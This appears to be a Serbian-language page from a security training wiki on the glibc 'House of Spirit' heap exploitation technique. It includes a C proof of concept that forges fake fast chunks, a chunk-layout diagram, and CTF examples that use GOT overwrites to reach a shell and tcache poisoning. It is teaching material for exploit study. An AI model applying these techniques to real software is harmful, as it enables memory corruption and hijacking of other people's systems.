# House of Spirit

{{#include ../../banners/hacktricks-training.md}}

## Osnovne informacije

### Kod

<details>

<summary>House of Spirit</summary>
```c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk {
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20];               // chunk falls in fastbin size range
};

int main() {
struct fast_chunk fake_chunks[2];   // Two chunks in consecutive memory
void *ptr, *victim;

ptr = malloc(0x30);

printf("Original alloc address: %p\n", ptr);
printf("Main fake chunk:%p\n", &fake_chunks[0]);
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);

// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be 'freed'
// Point to .fd as it's the start of the content of the chunk
ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30);
printf("Victim: %p\n", victim);

return 0;
}
```
</details>

### Cilj

- Moći dodati adresu u tcache / fast bin kako bi kasnije mogla da se alocira

### Zahtevi

- Ovaj napad zahteva da napadač može da kreira nekoliko lažnih fast chunk-ova koji ispravno označavaju vrednost veličine, a zatim da može da oslobodi prvi lažni chunk kako bi ušao u bin.

### Napad

- Kreirati lažne chunk-ove koji zaobilaze bezbednosne provere: biće vam potrebna 2 lažna chunk-a koja su osnovno postavljena na ispravnim pozicijama sa ispravnim veličinama
- Na neki način osloboditi prvi lažni chunk kako bi ušao u fast ili tcache bin, a zatim ga alocirati da prepiše tu adresu

**Kod od** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **je odličan za razumevanje napada.** Iako ova šema iz koda to prilično dobro sumira:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
```
> [!NOTE]
> Imajte na umu da je potrebno kreirati drugi deo kako bi se zaobišle neke provere.

## Primeri

- **CTF** [**https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html**](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html)

- **Libc infoleak**: Putem prelivanja moguće je promeniti pokazivač da pokazuje na GOT adresu kako bi se otkrila libc adresa putem akcije čitanja CTF-a.
- **House of Spirit**: Zloupotrebom brojača koji broji broj "pušaka" moguće je generisati lažnu veličinu prvog lažnog dela, zatim zloupotrebom "poruke" moguće je lažirati drugu veličinu dela i konačno zloupotrebom prelivanja moguće je promeniti pokazivač koji će biti oslobođen tako da se naš prvi lažni deo oslobodi. Tada možemo alocirati i unutar njega će biti adresa na kojoj je "poruka" smeštena. Tada je moguće usmeriti ovo na `scanf` ulaz unutar GOT tabele, tako da možemo prepisati sa adresom do sistema.\
Sledeći put kada se pozove `scanf`, možemo poslati ulaz `"/bin/sh"` i dobiti shell.

- [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
- **Glibc leak**: Neinicijalizovani bafer na steku.
- **House of Spirit**: Možemo modifikovati prvi indeks globalnog niza pokazivača na heap. Sa jednom modifikacijom bajta, koristimo `free` na lažnom delu unutar validnog dela, tako da dobijemo situaciju preklapanja delova nakon ponovne alokacije. Sa tim, jednostavan Tcache trovanje napad funkcioniše da dobijemo proizvoljnu pisanu primitivnu.

## Reference

- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit)

{{#include ../../banners/hacktricks-training.md}}